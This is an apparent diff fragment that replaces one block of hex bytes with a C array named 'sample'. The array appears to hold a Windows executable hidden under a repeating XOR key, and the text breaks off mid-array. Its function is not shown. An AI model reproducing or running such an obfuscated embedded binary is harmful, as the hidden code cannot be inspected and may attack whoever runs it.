0x51, 0x12, 0x42, 0x1c, 0x2d, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x28, 0x09, 0x10, 0x07, 0x0b, 0x2f, 0x36, 0x0f, -0x4a, 0x0d, 0x1d, 0x09, 0x53, 0x07, 0x4a, 0x07, 0x33, 0x25, 0x52, 0x01, 0x18, 0x04, 0x10, 0x43, -0x54, 0x0c, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x01, 0x13, 0x09, 0x17, -0x08, 0x0a, 0x40, 0x54, 0x49, 0x16, 0x1c, 0x03, 0x73, 0x66, 0x67, 0x73, 0x16, 0x13, 0x1d, 0x02, -0x0b, 0x1f, 0x57, 0x54, 0x5d, 0x03, 0x1f, 0x16, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x63, 0x64, 0x66, 0x4b, 0x66, 0x67, 0x73, 0xf7, 0x56, 0xe8, 0x56, 0xda, 0x43, 0xa1, 0x56, -0x9e, 0x56, 0x62, 0x42, 0x70, 0x57, 0x51, 0x57, 0x5b, 0x42, 0x22, 0x57, 0x23, 0x57, 0x3d, 0x42, -0x06, 0x57, 0xab, 0x57, 0x81, 0x42, 0x60, 0x54, 0x6a, 0x54, 0x41, 0x41, 0x5d, 0x54, 0x33, 0x54, -0x29, 0x41, 0xe4, 0x54, 0xf9, 0x54, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, +unsigned char sample[] = { 0x34, 0x3d, 0xf9, 0x75, 0x64, 0x65, 0x66, 0x71, 0x7d, 0x67, 0x69, 0x75, 0x98, 0x9a, 0x66, 0x71, +0xc1, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x39, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0xb7, 0x65, 0x66, 0x71, +0x77, 0x78, 0xd3, 0x7b, 0x67, 0xd1, 0x6f, 0xbc, 0x58, 0xdf, 0x68, 0x39, 0xaa, 0x44, 0x32, 0x19, +0x10, 0x14, 0x49, 0x05, 0x15, 0x0a, 0x01, 0x03, 0x18, 0x0a, 0x49, 0x16, 0x06, 0x0b, 0x08, 0x1e, +0x0d, 0x47, 0x0b, 0x10, 0x47, 0x17, 0x13, 0x1f, 0x59, 0x0e, 0x07, 0x55, 0x23, 0x2a, 0x35, 0x51, +0x14, 0x08, 0x0d, 0x10, 0x49, 0x68, 0x6b, 0x7b, 0x5d, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0xb8, 0x6a, 0x6f, 0x92, 0xe2, 0x09, 0x0e, 0xc5, 0xfc, 0x0b, 0x01, 0xc1, 0xe2, 0x09, 0x0e, 0xc5, +0xe8, 0x60, 0x00, 0xc0, 0xe1, 0x09, 0x0e, 0xc5, 0xfc, 0x0b, 0x00, 0xc1, 0xef, 0x09, 0x0e, 0xc5, +0x0d, 0x7c, 0x05, 0xc0, 0xe3, 0x09, 0x0e, 0xc5, 0x0d, 0x7c, 0x03, 0xc0, 0xe3, 0x09, 0x0e, 0xc5, +0x2b, 0x0e, 0x0a, 0x1d, 0xe2, 0x09, 0x0e, 0xc5, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x29, 0x22, 0x69, 0x75, 0x2b, 0x64, 0x62, 0x71, 0x57, 0x67, 0x2f, 0x17, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x87, 0x65, 0x64, 0x50, 0x72, 0x66, 0x67, 0x6b, 0x67, 0x61, 0x66, 0x71, +0x79, 0x7d, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x09, 0x76, 0x69, 0x75, 0x67, 0x75, 0x66, 0x71, +0x79, 0x47, 0x69, 0x75, 0x67, 0x65, 0x66, 0x61, 0x79, 0x77, 0x69, 0x75, 0x67, 0x67, 0x66, 0x71, +0x7f, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x7f, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x07, 0x69, 0x75, 0x67, 0x61, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x65, 0x65, 0x26, 0x74, +0x79, 0x67, 0x79, 0x75, 0x67, 0x75, 0x66, 0x71, 0x79, 0x67, 0x79, 0x75, 0x67, 0x75, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x77, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x39, 0x46, 0x69, 0x75, 0x4f, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x37, 0x69, 0x75, 0x5f, 0x65, 0x66, 0x71, 0x41, 0x47, 0x69, 0x75, 0x7b, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x47, 0x69, 0x75, 0x5f, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x57, 0x13, 0x0c, 0x0d, 0x13, 0x65, 0x66, 0x71, +0xec, 0x65, 0x69, 0x75, 0x67, 0x75, 0x66, 0x71, 0x79, 0x63, 0x69, 0x75, 0x67, 0x61, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x47, 0x65, 0x66, 0x11, +0x57, 0x15, 0x0d, 0x14, 0x13, 0x04, 0x66, 0x71, 0xe1, 0x65, 0x69, 0x75, 0x67, 0x45, 0x66, 0x71, +0x79, 0x63, 0x69, 0x75, 0x67, 0x6d, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x27, 0x65, 0x66, 0x31, 0x57, 0x03, 0x08, 0x01, 0x06, 0x65, 0x66, 0x71, +0x50, 0x75, 0x69, 0x75, 0x67, 0x55, 0x66, 0x71, 0x79, 0x73, 0x69, 0x75, 0x67, 0x69, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x27, 0x65, 0x66, 0xb1, +0x57, 0x15, 0x0c, 0x19, 0x08, 0x06, 0x66, 0x71, 0x41, 0x67, 0x69, 0x75, 0x67, 0x35, 0x66, 0x71, +0x79, 0x65, 0x69, 0x75, 0x67, 0x45, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x27, 0x65, 0x66, 0x33, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, 0x79, 0x67, 0x69, 0x75, 0x67, 0x65, 0x66, 0x71, +0x2c, 0xec, 0x85, 0xf6, 0x8b, 0x6d, 0xed, 0x34, 0x71, 0xee, 0x2c, 0x8d, 0xa0, 0x20, 0x9a, 0x71, +0x79, 0x67, 0x69, 0xb2, 0x22, 0x99, 0x66, 0x71, 0x79, 0x67, 0x82, 0x7c, 0xec, 0x28, 0x9a, 0xf2, +0xb8, 0x66, 0xe0, 0x38, 0x9b, 0xee, 0x33, 0x8d, 0x42, 0x32, 0x65, 0x06, 0x76, 0xee, 0x23, 0x89, +0xbf, 0x67, 0x69, 0xfe, 0x2a, 0x9d, 0xe5, 0xb0, 0x78, 0xee, 0x24, 0x8d, 0x8c, 0xbb, 0xed, 0x94, +0x24, 0xa4, 0xa5, 0xb9, 0xab, 0xa9, 0xaa, 0xbd, 0xb5, 0xab, 0xa5, 0xb9, 0xab, 0xa9, 0xaa, 0xbd, +0x2c, 0xec, 0x85, 0xf4, 0x8b, 0x4d, 0x65, 0x71, 0x79, 0x0d, 0x2d, 0xf8, 0x22, 0xc1, 0x36, 0x99, +0xe5, 0x98, 0x96, 0x8a, 0xe4, 0xa1, 0x6e, 0xb6, 0x3c, 0xc3, 0x2d, 0x75, 0x67, 0x65, 0x8e, 0x5c, +0x78, 0x67, 0x69, 0xf0, 0xa7, 0x6a, 0xe2, 0x92, 0x79, 0x67, 0x69, 0xf8, 0x2a, 0x8d, 0x37, 0xfc, +0x2c, 0xc3, 0x3b, 0x1f, 0x67, 0x0f, 0x66, 0x19, 0x3d, 0x67, 0x69, 0x74, 0x0d, 0x64, 0x0c, 0x71, +0x13, 0x67, 0x01, 0x79, 0x25, 0x65, 0x76, 0x1b, 0x79, 0x98, 0x7c, 0x69, 0x47, 0x65, 0x76, 0xf8, +0x3c, 0x9b, 0xea, 0x08, 0x9b, 0x65, 0x13, 0x55, 0xf4, 0x22, 0x81, 0x25, 0xea, 0x28, 0xc2, 0x20, +0x13, 0x67, 0x03, 0x75, 0x0d, 0x21, 0x0c, 0x70, 0x13, 0x67, 0x03, 0x75, 0x0f, 0x79, 0x24, 0x71, +0x69, 0x0d, 0x69, 0x8a, 0x72, 0x79, 0x46, 0x71, 0x69, 0xee, 0x2c, 0x89, 0xe4, 0x18, 0x9a, 0x71, +0x76, 0xe3, 0xe1, 0x75, 0x67, 0x65, 0xa1, 0xf4, 0xa1, 0x9b, 0x96, 0x8a, 0x64, 0x65, 0x67, 0x71, +0xf4, 0xf2, 0xb1, 0x89, 0x98, 0x9a, 0x34, 0xfa, 0x3c, 0x8b, 0x39, 0x8a, 0x72, 0x45, 0x46, 0x71, +0x69, 0x0d, 0x29, 0x1d, 0x67, 0x75, 0x66, 0x71, 0x11, 0x67, 0x79, 0x75, 0x67, 0x0f, 0x66, 0xfa, +0x34, 0x8f, 0x38, 0x8a, 0x72, 0x4d, 0x46, 0x71, 0x69, 0xee, 0x2c, 0x8d, 0x0d, 0x65, 0x0e, 0x71, +0x69, 0x67, 0x69, 0x1d, 0x67, 0x55, 0x66, 0x61, 0xf2, 0x32, 0x91, 0x27, 0xec, 0x20, 0x8e, 0x21, +0x86, 0x72, 0x45, 0x55, 0x67, 0x75, 0xed, 0x3c, 0x81, 0xee, 0xe4, 0xe5, 0x9a, 0x9a, 0x99, 0xfc, +0xec, 0xbf, 0x95, 0x8a, 0x98, 0x37, 0xed, 0x34, 0x95, 0x37, 0x96, 0x60, 0x43, 0x45, 0x66, 0x61, +0xf2, 0x2a, 0x85, 0x24, 0x98, 0x70, 0x7e, 0x51, 0x79, 0x77, 0xe2, 0x20, 0x8b, 0x37, 0x99, 0x64, +0x79, 0x47, 0x69, 0x65, 0xec, 0x20, 0x8e, 0x21, 0x86, 0x72, 0x69, 0x55, 0x67, 0x75, 0x0c, 0x71, +0x86, 0x72, 0x7d, 0x55, 0x67, 0x75, 0xed, 0x94, 0x24, 0xa4, 0xa5, 0xb9, 0xab, 0xa9, 0xaa, 0xbd, +0x2c, 0xec, 0x85, 0x24, 0xec, 0x20, 0x6a, 0xf8, 0x3c, 0x9b, 0xea, 0x08, 0x9b, 0x64, 0x12, 0x73, +0x92, 0x62, 0x81, 0xbc, 0x99, 0x9a, 0x99, 0xc9, 0x78, 0x67, 0x69, 0x75, 0xec, 0x80, 0x3b, 0xb3, +0x75, 0x67, 0xa5, 0xb9, 0xab, 